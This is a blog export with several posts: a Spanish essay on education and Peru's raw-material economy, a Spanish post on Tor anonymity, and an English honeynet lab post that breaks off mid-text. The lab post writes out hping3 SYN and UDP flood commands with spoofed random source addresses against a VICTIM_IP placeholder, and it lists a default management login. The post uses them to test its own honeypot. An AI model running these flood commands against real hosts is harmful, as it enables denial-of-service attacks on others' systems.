<span style="background-color: black;">¿Formamos profesionales capaces de producir esos objetos? Si las instituciones creadas para formar profesionales no producen esa clase de profesionales, ¿existe alguna otra institución que los forme aquí en el Perú? ¿Es nuestra educación igual, parecida o de la misma calidad que la educación que se imparte en los países que producen tecnología de punta? ¿Qué tipo de educación se necesita para producir esos objetos tan complejos? Desde que surgió la revolución industrial, los países que luego se conocieron como industrializados orientaron sus universidades para que tengan la competencia de formar expertos en producir objetos propios de la industria. Y la educación previa a la universitaria es de una estándar tal que puede eslabonarse fácilmente con la educación universitaria. Los norteamericanos en el 2005 hicieron un experimento: colisionar una nave espacial con un cometa. Esa nave espacial se desplazaba a una velocidad de 37,000 kilómetros hora. ¿Qué clase de conocimientos se necesita para producir esas sofisticadas naves espaciales? ¿De dónde salieron los profesionales que producen esas naves? Fueron formados por las universidades, pero ¿por las nuestras? ¿O como las nuestras? Y, al ingresar a las universidades que les dotaron de las competencias que tienen, estudiaron primero en colegios, pero ¿no como los nuestros? Nosotros también producimos herramientas, es cierto. Producimos picos y palas, por ejemplo. ¿Qué tienen en común un pico o pala con un tractor? Sirven para las labores agrícolas y los tres han sido producidos por el ser humanos y para eso se ha invertido conocimiento. Para hacer el pico y la pala el hombre debía tener cuando menos la cultura del hombre de la Edad de Hierro. Pero para producir tractores computarizados el conocimiento tiene que ser cualitativamente superior, muy superior. Sin educación aunque sea informal, el primer ser humano que descubrió el hierro no hubiese trasmitido ese conocimiento a las generaciones futuras. Pero para producir el tractor se necesitan no solamente hornos más complejos, sino el dominio de la matemática y de la física moderna. Esos conocimientos los da la Educación formal. Como se advierte claramente, una cosa es educar para producir picos y palas y otra es hacerlo para producir tractores. Y más diferente es todavía producir tractores que llevan componentes digitales, vale, decir elementos electrónicos del tipo de las computadoras. Para decirlo de otro modo, existe una distancia histórica muy considerable entre la Edad de Hierro y la Revolución Industrial. Y de esta revolución a la revolución digital existe otra etapa histórica. Y a propósito <em>¿estamos pensando en qué estado se encuentra nuestra educación? ¿Qué clase de conocimientos trasmitimos mediante la educación? ¿Formamos para ser productores de la Revolución Industrial o de la Edad de Hierro? </em>Si ya produjésemos de acuerdo a la revolución industrial está claro que nos faltaría una etapa histórica para ingresar a la revolución digital. ¿Hemos llegado cuando menos a la revolución industrial que ya tiene más de dos siglos, o nos hemos quedado en la Edad de Hierro que tiene miles de años de antigüedad? Consumimos objetos modernos, ¿pero también los producimos? ¿Formamos profesionales para elaborar esos productos modernos? ¿Nuestra educación está a la altura de la educación de avanzada mundial? ¿O es que en la práctica nos hemos quedado casi en la Edad de Hierro? Recordemos que entre ambas maneras de producir existen miles de años de distancia. Porque suele existir un grave error, creer que estamos en una Era determinada de la historia tomando en cuenta lo que consumimos, cuando el verdadero criterio debe partir de lo que producimos. Mejor dicho con qué clase de conocimientos producimos. Nuestra educación en qué estado de evolución se encuentra, ¿qué enseñamos a producir?</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">Si hay que tomar en cuenta el estado histórico de los objetos que consumimos, que sirva para comparar qué tipo de educación compramos en los objetos que compramos y qué clase de educación vendemos a través de las mercancías que exportamos. Esto es fundamental. Es algo que no se entiende en nuestro país, como tampoco se entiende en los países vecinos, en Ecuador y peor aún en Bolivia.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">Cuando compramos un televisor ¿qué compramos? ¿Compramos plásticos? ¿Compramos piececitas de cobre? ¿Compramos algunos tornillos de hierro? ¿Qué es lo que compramos realmente? Compramos conocimiento. Eso es lo que compramos. Mejor dicho las potencias nos venden su educación introyectada en sus mercancías. Y el grado de desarrollo de la educación es inversamente proporcional a la cantidad de naturaleza que se invierte; cuanto más componente mental encierran los productos, menos materia prima se invierte en ellos. Como bien lo indica la propaganda de una marca de televisores, los antiguos eran grandes, toscos y muy pesados. Estos televisores se han ido reduciendo en espesor y peso hasta convertirse en una pantalla plana. En esa pantalla plana en que se reduce el televisor hay cada vez mucho menos materia prima, pero más componente mental. La tendencia es a que la materia prima se reduzca prácticamente a la nada. Y ¿con qué se reemplaza esa materia prima que se deja de usar para que el televisor exista? Se lo sustituye con conocimiento, o sea con derivados de la educación. La tendencia de la industria moderna es a la sustitución casi total de las materias primas por el conocimiento. Dicho de otro modo, la naturaleza cede su lugar al conocimiento, a los derivados de la educación. El ejemplo más extraordinario es la nanotecnología, esa industria que consiste en producir máquinas microscópicas (como las que se usan para realizar operaciones quirúrgicas dentro del cuerpo humano, sin necesidad de abrir heridas). Estas máquinas forman parte de la <em>nanotecnología</em> y no miden ni siquiera un milímetro, sino millonésimas de milímetro.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">Aquí en Perú, nuestro país, como en Bolivia, exhibimos como mayor orgullo las materias primas que existen en el suelo o subsuelo de nuestros territorios. Mostramos lo que la naturaleza ha hecho por nosotros, pero ¿tenemos algo maravilloso que hayamos hecho los hombres a favor de de la naturaleza y de nuestra economías? Para decirlo de otra manera, mostramos la obra de la naturaleza, riqueza de la que nos apropiamos por vivir en estos territorios. ¿Cuándo estaremos preparados para mostrar las maravillas que somos capaces de producir? ¿Cuándo estaremos preparados para sustituir la vanidad que mostramos al hablar de la riqueza que nos ha legado la naturaleza por la que produzca nuestra mente? Estamos mentalizados para privilegiar una economía parasitaria. ¿Y si la naturaleza no nos hubiese dejado nada o mucho menos de lo que nos ha legado qué haríamos para vivir? ¿Y qué haremos si la herencia de la Madre Naturaleza se acaba? ¿Qué harán, por ejemplo, los países árabes cuando se les acabe el petróleo? ¿Qué hará Venezuela?</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">Esta mentalidad forma parte de una cultura que fomenta el inmovilismo, inflama la imaginación, la esperanza en soluciones milagrosas o mágicas. Y de paso fomenta el ocio, la pobreza y la pérdida de la autoestima. No se ve la riqueza en las potencialidades del hombre, sino que se despierta la ambición por los tesoros escondidos que se expresan en tantos mitos. Este imaginario coincide con la de algún personaje famoso de la televisión peruana que aparentaba ante el mundo poseer una riqueza inagotable, nietas bien establecidas en Miami, pero hijos sin trabajo conocido, hasta que él murió y los hijos quedaron en la indigencia porque no se habían preparado para vivir de su trabajo. Así se fomenta una idea falsa, aquella de la herencia inagotable. Luego cuando la fortuna se acaba, o cuando el árbol genealógico se extiende y la herencia tiene que dividirse cada vez en mayor número de herederos, la parte alícuota, o sea aquella que corresponda a cada individuo, resulta insignificante. Si miramos el conjunto la suma puede parecer extraordinaria. Perú exportó en minerales entre junio del 2004 y junio del 2005 la cifra récord de unos seis mil millones de dólares. Traducidos a nuevos soles representa alrededor de 20 mil millones. De esta manera si nuestro país tuviera 20 millones de habitantes le correspondería aproximadamente mil soles anuales, cerca de noventa soles mensuales a cada habitante. Pero Perú no tiene 20 millones de peruanos sino cerca de treinta millones, de manera que lo que correspondería a cada habitante seria un tercio menos, o sea algo así como sesenta soles mensuales. Esta cifra sería real, sin embargo, si los costos de extracción de los minerales fuesen igual a cero. Si nadie gastara en las carreteras de acceso hasta las minas. Si el coste de las máquinas con las que se explotan los minerales fuese también igual a cero soles. Si no costaran nada las viviendas donde habitan los trabajadores mineros. Si las empresas que explotan las minas no gastaran en escuelas o en hospitales y si los trabajadores trabajaran gratis. Además si los capitales fuesen nuestros o si fueran prestados sin pagar intereses.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">Es obvio que con criterio nacionalista desearíamos que todo fuera diferente, que nuestro Estado fuera poderoso, que tuviera recursos adecuados como para que pudiese explotar nuestros recursos naturales, sin necesidad de recurrir a la empresa privada y menos a las multinacionales. Que desapareciera para siempre el pedido de que inviertan en nuestro país los empresarios extranjeros. Y que los gobernantes fuesen de lo más competentes y honrados, que las empresas públicas produjeran ganancias y no las pérdidas que produjeron en las décadas pasadas. Y para lograr estos objetivos nuestros gobernantes deberían ser intelectual y éticamente de los más competentes, que fueran capaces de emplear los conocimientos más avanzados que existen en el planeta. Sería deseable que los contratos con las empresas extranjeras fueran las más convenientes al país; y que los mayores ingresos fiscales por concepto de la exportación de minerales sirvieran para mejorar la salud del pueblo y relanzar la educación con un nuevo criterio, con aquel que permitiera que nuestro país fuese también productor y exportador de intangibles, o sea de conocimiento, que es un derivado de la educación. Claro todo eso sería deseable, pero lo que nosotros queremos que suceda no existe en la realidad. No podemos confundir deseos con realidades. Y si queremos que cambie en el futuro, necesitamos saber cómo hacerlo, mejor dicho necesitamos de conocimientos que ahora la población no tiene. Que estos conocimientos no solamente lo tuvieran un reducido número de personas, que no fuera patrimonio de las élites sino de dominio más amplio. Mejor dicho necesitamos de una nueva educación. No solamente diferente en valores como ahora se insiste sino en ciencia y tecnología. Porque si bien quizá siempre existan delincuentes de cuello y corbata, cuando menos necesitamos un pueblo educado de diferente manera, que sepa actuar con conocimiento. Que sepa usar el corazón, pero también el cerebro. Repito, necesitamos de una nueva educación. Países como Corea, o los llamados Tigres Asiáticos, fueron tan pobres como el nuestro y ahora sus destinos son diferentes. China Popular, en estos momentos camina a pasos agigantados a convertirse en la primera potencia no solamente comercial del mundo, sino también industrial. No es cierto que sus precios son competitivos solamente por la mano de obra barata, sino que paralelamente inyectan conocimiento de última generación a sus productos. Su éxito depende del conocimiento y el conocimiento es un derivado de la educación. Es imprescindible saber cómo actuar. Cómo resolver problemas, cómo salir de la pobreza, cómo afrontar dificultades. Es imprescindible tener una nueva educación que no solamente sirva para hacer cantar a los niños, para fomentar las rupestres dinámicas y para esperar que por arte de magia o milagro tengamos la lucidez necesaria para afrontar los grandes retos que nos plantea la Historia.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">Las materias primas son eso, materias primas, o sea naturaleza, cuya verdadera importancia va a depender de qué hagamos con ellas, en qué productos acabados los transformemos, qué tipo de conocimiento les inyectemos. ¿Seguimos pensando en la magia de resolver nuestros problemas económicos inyectándoles cero conocimiento? Con eso solamente estamos justificando el tipo de educación que tenemos. Aquella que nos induce a suponer que somos mendigos sentados en un imaginario banco de oro.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">Por la década de los sesenta del siglo pasado estaba de moda quejarse contra el imperialismo., porque según decíamos se llevaban toneladas de minerales por insignificantes sumas de dinero y nos lo devolvían ya industrializados pequeños trocitos de nuestros minerales a precios caros. ¿Por qué no decíamos que a esas materias primas, a esos insumos le habían inyectado conocimiento y que estábamos comprando conocimiento introducido en pequeñas porciones de los minerales que vendimos?</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">Estas preguntas no van contra algo que es obvio, valorar y cuidar nuestras materias primas. La crítica va contra esa cultura parasitaria de pretender vivir exclusiva o fundamentalmente de recursos naturales. El propio término lo dice, son <em>recursos naturale</em>s. El problema está en qué hacer con ellos. ¿Venderlos? Su precio obviamente será el que corresponde a las materias primas y en todo caso su precio está fijado por las leyes de la oferta y la demanda. En este caso, mientras el progreso científico determina que entre cada objeto se utilice cada vez menos materias primas, por otra parte, con la presencia de China en la industria mundial, la demanda crecerá. Pero no crecerá de manera absoluta, porque no hay que perder de vista que el conocimiento tiende inevitablemente a ocupar el espacio de la materias primas, de manera que el mismo objeto, pero más perfeccionado requiere de menos de cantidad de materia prima.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">El conocimiento incide en la revalorización de las materias primas, en el contexto actual y probablemente en el futuro se irá acentuando, al ritmo de las innovaciones tecnológicas. Cada vez que se producen progresos tecnológicos y unos artefactos quedan desfasados, entonces se hace necesario más materia prima para seguir produciendo los objetos que reemplazan a los obsoletos y aquellos nuevos productos que aparecen en el mercado. En este aspecto, la tendencia a la diversificación parece infinita. Por tanto, aun cuando el conocimiento reemplaza exitosamente a las materias primas, éstas se vuelven necesarias como recipiente de las nuevas invenciones. Esta tendencia incide también en la proliferación de basura, como desechos de los productos industriales que caen en desuso, salvo que se establezca el reciclaje masivo. ¿Hasta qué punto, para evitar problemas ecológicos progresarán las tecnologías relativas al reciclaje de los objetos ya convertidos, repentinamente en basura?</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">El caso es que la competencia empresarial genera una tendencia compulsiva hacia la innovación, la cual se expresa no solamente como el sobredimensionamiento de las capacidades de lo inventado sino en la diversificación o sustitución. Así vimos como el<em>betamax</em> fue reemplazado por el <em>VH</em>, luego éste por el <em>DVD</em>, pero de ninguna manera las tendencias terminarán ahí. Mejor dicho no se anuncia un fin de la historia en esta guerra tecnológica. Y salvo las mentes incautas o ideologizadas afirmarán que las innovaciones son innecesarias, que de lo que se trata es simplemente de fomentar el consumismo. Si ese fuera el propósito de los empresarios, los consumidores no tendrían por qué someterse a ese juego. Lo que sucede es que cada innovación genera nuevas capacidades tecnológicas de los que los usuarios quieres disponer, sea que se aplique a fines simplemente lúdicos, a objetivos científicos, académicos o tecnológicos.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">Las innovaciones en términos de <em>software</em> y <em>hardware</em>, según la ley de Moore, se producen exponencialmente<a href="http://www.librosperuanos.com/autores/articulo/00000002089/Educacion-y-conocimiento-como-valor-agregado-en-la-economia#2" style="color: #3b5998; text-decoration: none;">2</a>. Esto trae como consecuencia que así como se avanza hacia la<em>nanotecnología</em>, o sea hacia la minimización absoluta en el uso de materias primas debido a la sustitución del ingrediente naturaleza por el conocimiento, fruto de la educación, la exponencialidad en el progreso tecnológico, trae como consecuencia la obsolescencia vertiginosa de los objetos de manera que, como consecuencia se producen dos hechos: a) mayor demanda de materias primas y b) incremento del cementerio de los desechos tecnológicos, con sus consecuencias medioambientales.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">Esta tendencia implica que el precio de las exportaciones de los minerales crezca de manera considerable, permitiendo que por primera vez las exportaciones se duplicaran en una gestión gubernamental, entre el 2004 y el 2005, aunque en este caso, no se debió a que se doblara el volumen de la demanda sino sobre todo por el incremento de los precios, pero la variable precios estuvo determinada por la variable demanda.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">Sin embargo hay que diferenciar el valor que el conocimiento agrega al introyectarse en el producto, al convertirse en el alma los productos y la otra, los efectos repotenciadores de precio al incrementar la demanda. Pero, en todo caso, el incremento de la demanda está determinado por las innovaciones tecnológicas, o sea por el conocimiento; y esta variable está inevitablemente asociada a la variable educación, independientemente de que esta educación se administre de manera privada o pública, por empresas directamente relacionadas con la educación o con la producción.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">Los educadores no solamente debemos sentir orgullo de la naturaleza de nuestro territorio sino —sobre todo— de nuestro trabajo, de las posibilidades que tenemos de competir sanamente con la naturaleza, o de aliarnos con ella. Porque el conocimiento que transforma y —en cierto modo— reemplaza a las materias primas es un derivado de la educación. La educación crea conocimiento y éste apuntala el desarrollo de la educación. Ambos como aliados de la economía. Y la economía como una de las variables del bienestar humano.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">Para decirlo de otro modo, la economía tiende a depender —de modo creciente— del conocimiento. Esta es la mercancía de moda y lo seguirá siendo, con tendencia creciente. Los países que venden más conocimiento son más ricos. En el siglo XX se consideraba como el magnate representativo de la economía norteamericana a Rockefeller, cuya fortuna dependía del petróleo. Incluso a mediados de los 70 del siglo pasado los magnates más grandes del mundo estaban vinculados a la propiedad de grandes pozos petroleros. En la actualidad, luego de la invasión Norteamérica a Irak, el mundo ha tomado conciencia que el petróleo es un recurso natural que pronto se agotará y en tal circunstancia puede multiplicar su precio o crecer en mayor medida, mejorando la posición económica de los empresarios del petróleo<a href="http://www.librosperuanos.com/autores/articulo/00000002089/Educacion-y-conocimiento-como-valor-agregado-en-la-economia#3" style="color: #3b5998; text-decoration: none;">3</a>. Pero esto tocará su fin. Por el momento de la fortuna personal más grande, correspondiente en los sesenta a Rockefeller, hemos pasado a la fortuna de un empresario norteamericano aún joven, cuyo nombre es Bill Gates, vinculado a la producción de <em>Software</em>, o sea de conocimiento. Para lo cual utiliza como principal herramienta su cerebro dotado de capacidad creativa.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">Considerando las premisas antes planteadas, necesitamos diferenciar entre medios y fines en el proceso educativo. Si bien el fin último es el bienestar humano, existe un fin intermedio que debe establecerse si es la Pedagogía o el conocimiento.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">Por el énfasis que siempre suele ponerse entre los educadores pareciera que el fin es la Pedagogía, o sea la técnica de cómo enseñar, más no los resultados de ese proceso. Los educadores nos hemos pasado la vida hablando de Pedagogía como si fuese la meta final y al tocar este tema, nos hemos reducido a un fin instrumentalista.</span><br />
<span style="background-color: black;"><br /></span>
<br />
<div style="text-align: justify;">
<span style="background-color: black;">Es imprescindible reorientar la Pedagogía hacia la búsqueda incesante de conocimientos de punta y no pedagogía por la pedagogía. Así como ha existido un conocimiento funcional a los estados imperiales de la antigüedad que privilegiaba la fuerza del guerrero, en la actualidad la Educación debe estar orientada a la búsqueda del conocimiento acorde a los estándares internacionales. Esto implica que los maestros formados tanto en los institutos pedagógicos como en las universidades para transmitir conocimientos válidos en una sociedad agropecuario—artesanal se mentalicen para formar estudiantes capaces de resolver problemas en un mundo tecnológico cuyo entorno es el <em>software</em>. Esto implica entender primero de qué estamos hablando. Porque cuando usualmente hablamos con profesores, la primera reacción es pensar en las cabinas de Internet o en las computadoras domésticas y suponer que se les obliga a comprar alguna PC. No se trata de eso. Es importante que los educadores entiendan que el computador sirve no solamente para redactar textos, sino para realizar planos, organizar bibliotecas, realizar cálculos estadísticos y matemáticos en general, aprender idiomas, para la investigación científica, la producción de los objetos más sofisticados, vuelos espaciales, ingeniería genética, fábrica de aviones, armas de guerra, automóviles, hornos digitales, micro y mega máquinas, industria del entretenimiento, agricultura y ganadería y prácticamente para todas las actividades de la vida puesto que hoy el software es un entorno básico incluso en los juguetes más elementales. Ha llegado momento en que para ganarse la vida como simple técnico, el que no entienda sobre este nuevo y absorbente entorno quedará excluido y, por tanto, desempleado. Y quien quiera diseñar o producir a la manera tradicional no podrá competir en calidad o, en todo caso, empleará un tiempo mucho mayor al promedio y, por tanto, sus costos serán tan grandes que venderá sus servicios a precios muy caros, o en todo caso, utilizando más del tiempo necesario, cobrará precios muy exiguos, condenándose a vivir en la indigencia. Pero finalmente, debemos tener una visión clara: No existe hoy objeto pequeño o grande, incluso juguetes, que no lleven internamente un microprocesador, con su correspondiente software. ¿Estamos preparados para participar en este tipo de producción? ¿Está orientada nuestra educación para afrontar estos retos?</span></div>
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">Los países que tienen la capacidad para producir estos prodigios han diseñado su educación para que su población tenga la capacidad de producirlos.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">En Perú la economía está orientada a la extracción de minerales, a la deforestación de la selva, a la pesca. En suma, nuestra economía depende de lo que produce la naturaleza, no el hombre. Se trata de una economía parasitaria, al igual que Venezuela y los países árabes que viven de la extracción y venta de petróleo, o sea de la explotación de la naturaleza y no de la capacidad creativa de la gente.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">La solución correcta sería aprovechar racionalmente los recursos naturales, pero no depender tan extraordinariamente de ellos. Hemos visto ya que el vender un objeto tan simple aparentemente, como un teléfono celular, el país que lo produce está vendiendo conocimiento, el transforma insignificantes cantidades de materias primas para construir un objeto que puede costar cientos o miles de dólares. Cuando vendemos conocimientos inserto en los objetos estamos generando trabajo, a la vez que estamos potenciando la capacidad de la gente y potenciando también su capacidad adquisitiva. Depender de los recursos mineros como sucede históricamente en la república peruana, depender de las regalías que nos dejan las empresas extractoras de esos recursos es consecuencia de una inadecuada educación.</span><br />
<span style="background-color: black;"><br /></span>
<strong style="background-color: black;">Notas<br />______________________</strong><br />
<span style="background-color: black;"><a href="http://www.blogger.com/blogger.g?blogID=7163708568876453448" name="1" style="color: #3b5998;">1</a> Institución educación pre universitaria, de mando medio.</span><br />
<span style="background-color: black;"><a href="http://www.blogger.com/blogger.g?blogID=7163708568876453448" name="2" style="color: #3b5998;">2</a> Cf. Bill Gates: <em>Camino al futuro</em>. McGRAW-HILL. Segunda Edición Internacional, 1997.</span><br />
<span style="background-color: black;"><a href="http://www.blogger.com/blogger.g?blogID=7163708568876453448" name="3" style="color: #3b5998;">3</a> Según Rifkin, el fin de la era del petróleo podría llegar dentro de unas tres décadas, cuando este recurso fósil se agote. Cf. Jeremy Rifkin: <em>La economía del hidrógeno. La creación de la red energética mundial y la redistribución del poder en la tierra</em>. Piados Estado y Sociedad 102. Barcelona, 2002.</span></div>
<div style="font-family: arial; font-size: 12px; line-height: 16px;">
<span style="background-color: black;"><br /></span></div>
<div style="font-family: arial; font-size: 12px; line-height: 16px;">
<div style="text-align: justify;">
<span style="background-color: black;">Fuente: Dr. Gerardo Alcántara Salazar</span></div>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-355120868454123142013-06-18T13:29:00.003+02:002013-06-18T13:37:34.240+02:00Anonimato al extremo!<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<strong>Entonces al fin y al cabo, la red Tor provee una manera de esconder el vínculo entre la dirección origen y destino de una conexión dada. Por lo tanto, un intruso no puede determinar de dónde viene la información y hacia dónde va, lo que nos convierte en anónimos.</strong>
<br />
<br />
Pero la pregunta persiste: ¿puede realmente volvernos anónimos? La respuesta es sí y no. Necesitamos recordar que todos los paquetes que son enviados de nuestro cliente al servidor serán encriptados en el servidor. Esto realmente tiene sentido por cómo el servidor usaría la información y haría algo con ella si ésta fuera encriptada. En consecuencia, Tor provee anonimato sobre internet, pero no puede proveer los medios para mantenerte anónimo al servidor que está recibiendo la información.
Describamos esto un poco más. Si estamos enviando paquetes que contienen nuestro nombre de usuario, nombre de dominio o alguna otra información que indica nuestra presencia, entonces la máquina objetivo sabrá quiénes somos, aunque algún intruso que esté escuchando en un nodo intermediario tal vez no. Esto se reduce a lo siguiente:
<br />
<br />
En cada conexión a través de la red Tor, necesitamos tener en cuenta que a la información:
<br />
<br />
<div style="text-align: justify;">
- el cliente la envía</div>
<div style="text-align: justify;">
- Internet la direcciona</div>
<div style="text-align: justify;">
- el servidor la recibe<br />
<br /></div>
</div>
Con Tor, podemos asegurarnos que Internet aunque canaliza la información, no tiene idea sobre la dirección origen ni destino que usamos, lo cual es crucial para mantener el anonimato sobre Internet. Pero la información enviada de un cliente hacia un servidor son visibles en los dos extremos de la conexión. Por lo tanto, para ser verdaderamente anónimos, incluso en la máquina destino, necesitamos no encapsular ninguna información sensible en el paquete de datos del tráfico entre el cliente y el servidor.<br />
<br />
Con motivo de esconder la información del nivel de aplicación que pueda comprometer nuestro anonimato, podemos usar <a href="https://www.torproject.org/torbutton/" style="color: #0088cc; text-decoration: none;" target="_blank">Torbutton</a>, una extensión de Firefox que inhabilita muchos posibles filtrados de información que nos puedan comprometer. O lo que es mejor, podemos usar<a href="https://www.torproject.org/projects/torbrowser.html.en" style="color: #0088cc; text-decoration: none;" target="_blank"> Tor browser bundle</a>, el cual usa Vidalia para configurar e iniciar Tor. Éste además abre el navegador Web Tor con Torbutton integrado, el que podemos usar para buscar anónimamente en internet.<br />
<br />
fuente: <span style="background-color: yellow;"> <a href="http://elbauldelprogramador.com/articulos/logrando-el-anonimato-con-tor-parte-1/">http://elbauldelprogramador.com/articulos/logrando-el-anonimato-con-tor-parte-1/</a></span><br />
referencia : <span style="background-color: yellow;">[1] <a href="https://help.ubuntu.com/community/Tor" style="color: #005580; font-family: 'Open Sans', sans-serif; font-size: 14px; line-height: 18px; outline: 0px;">https://help.ubuntu.com/community/Tor</a><span style="color: #333333; font-family: Open Sans, sans-serif;"><span style="font-size: 14px; line-height: 18px;">. (guía de instalación)</span></span></span><br />
<span style="color: #333333; font-family: Open Sans, sans-serif;"><span style="font-size: 14px; line-height: 18px;"><span style="background-color: #444444;"> </span><span style="background-color: yellow;">[2] </span></span></span><span style="background-color: yellow;"><a href="https://www.torproject.org/docs/tor-manual.html.en" style="color: #0088cc; font-family: 'Open Sans', sans-serif; font-size: 14px; line-height: 18px; text-decoration: none;" target="_red">https://www.torproject.org/docs/tor-manual.html.en</a><span style="color: #333333; font-family: 'Open Sans', sans-serif; font-size: 14px; line-height: 18px;">.(manual)</span></span></div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-23942188057487728322013-05-31T13:52:00.001+02:002013-05-31T13:52:43.830+02:00"Honeywall" to analyze the network traffic and Prevention of Attacks!!<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: left;">
The entire purpose of deploying a honeynet is to collect data. However, that data has no value if it cannot be analyzed. Walleye interface is the graphical tool available for analyzing the logged activities and alerts. Walleye also supports the integration and analysis of sebek data. The power of sebek data is that it captures all of the system activity and gives the ability to analyze what happened on the honeypot, even if the attacker went in encrypted.[1]</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
On opening the management interface in the browser (https://ip-address-management-interface), administrator will be prompted to login. This is a SSL connection. The default user is roo and password is honey. Administrator will then be prompted to change the password. [2]</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
This section discusses the data captured and analyzed through the walleye interface. Walleye interface facilitates the analysis of data on the basis of source IP, destination IP, source port, destination port. The protocols used for analysis are TCP, UDP, and ICMP. However sebek data is also captured and analyzed.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<b style="background-color: yellow;"><span style="color: red;">Attack Profile</span></b></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
In order to test the functionality of honeynet, some simulated attacks are launched. Although this simulation does not actually hack the target machine, but it provides deep insight about the working of honeynet and how walleye displays the data from MySQL database.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
As a beginner, the simplest attacks that can be launched are packet fabrication without SYN flag, DOS, smurf attack, flooding by using IP spoofing etc. The tool used to do so is hping3. [3]</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
The command used to launch the attack is hping3. One of the customized ways to do this is to use the option flood with the command to launch flooding on a target IP. Administrative rights are required to run the mentioned command from the attacker’s machine. The attacker’s machine is placed in the production network. [4]</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="background-color: red; color: yellow;">#hping3 -V -c 1000000 -d 120 -S -w 64 -p 445 -s 445 --flood --rand-source <Victim IP></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Source IP can also be spoofed with –a option in this command. The logged entries against spoofed attacker IP do not depict the actual IP of the attacker. [5]</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
There are some numeric options that represent UDP/ICMP protocol in the command i.e. flooding is done through which protocol. These options are -1 for ICMP, -2 for UDP protocol. For TCP protocol, different flags can be used as mentioned (S for SYN, R for RST, A for ACK etc.) in the sample command above.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
V= verbose ; c= packet-count ; d= data-size ; S= SYN flag ;w= winsize ;p= port; s= base source port</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<b style="background-color: yellow;"><span style="color: red;">Result</span></b></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Flooding attack is launched in different scenarios with different protocols. There are three scenarios created to launch the attack and analyze the consequences on walleye interface. the three scenarios are based on TCP, UDP, and ICMP protocols respectively.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Scenario 1 – Use of TCP SYN flag to flood the target machine (honeypot) The command used for this scenario to launch flood attack on victim machine is:</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="background-color: red; color: yellow;">hping3 -V -c 10000 -d 120 -S -w 64 -p 445 -s 445 --flood --rand-source VICTIM_IP [23]</span></div>
<div style="text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEnuw-uqrgDhytRGqS427qMhtWpQZ197iMwT4b0KmJ8gYPHGDJ3fH2kbjDbTasz9IjOaC_cZ1yvwLYctyZeIgnIm8A2gXUQrot0K2hVtJjXTOBxTtMeopReKjh-8gSnLv6zngTUYOEDIJl/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="70" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEnuw-uqrgDhytRGqS427qMhtWpQZ197iMwT4b0KmJ8gYPHGDJ3fH2kbjDbTasz9IjOaC_cZ1yvwLYctyZeIgnIm8A2gXUQrot0K2hVtJjXTOBxTtMeopReKjh-8gSnLv6zngTUYOEDIJl/s320/1.png" width="320" /></a></div>
<div style="text-align: center;">
Figure 1. Flooding the honeypot with TCP traffic</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Scenario 2 – Use of UDP protocol to flood the target machine</div>
<div style="text-align: left;">
The command used for this scenario to launch flood attack on victim machine is:</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="background-color: red;"><span style="color: yellow;">hping3 -V -c 10000 -d 120 -2 -w 64 -p 445 -s 445 --flood --rand-source VICTIM_IP</span></span></div>
<div style="text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
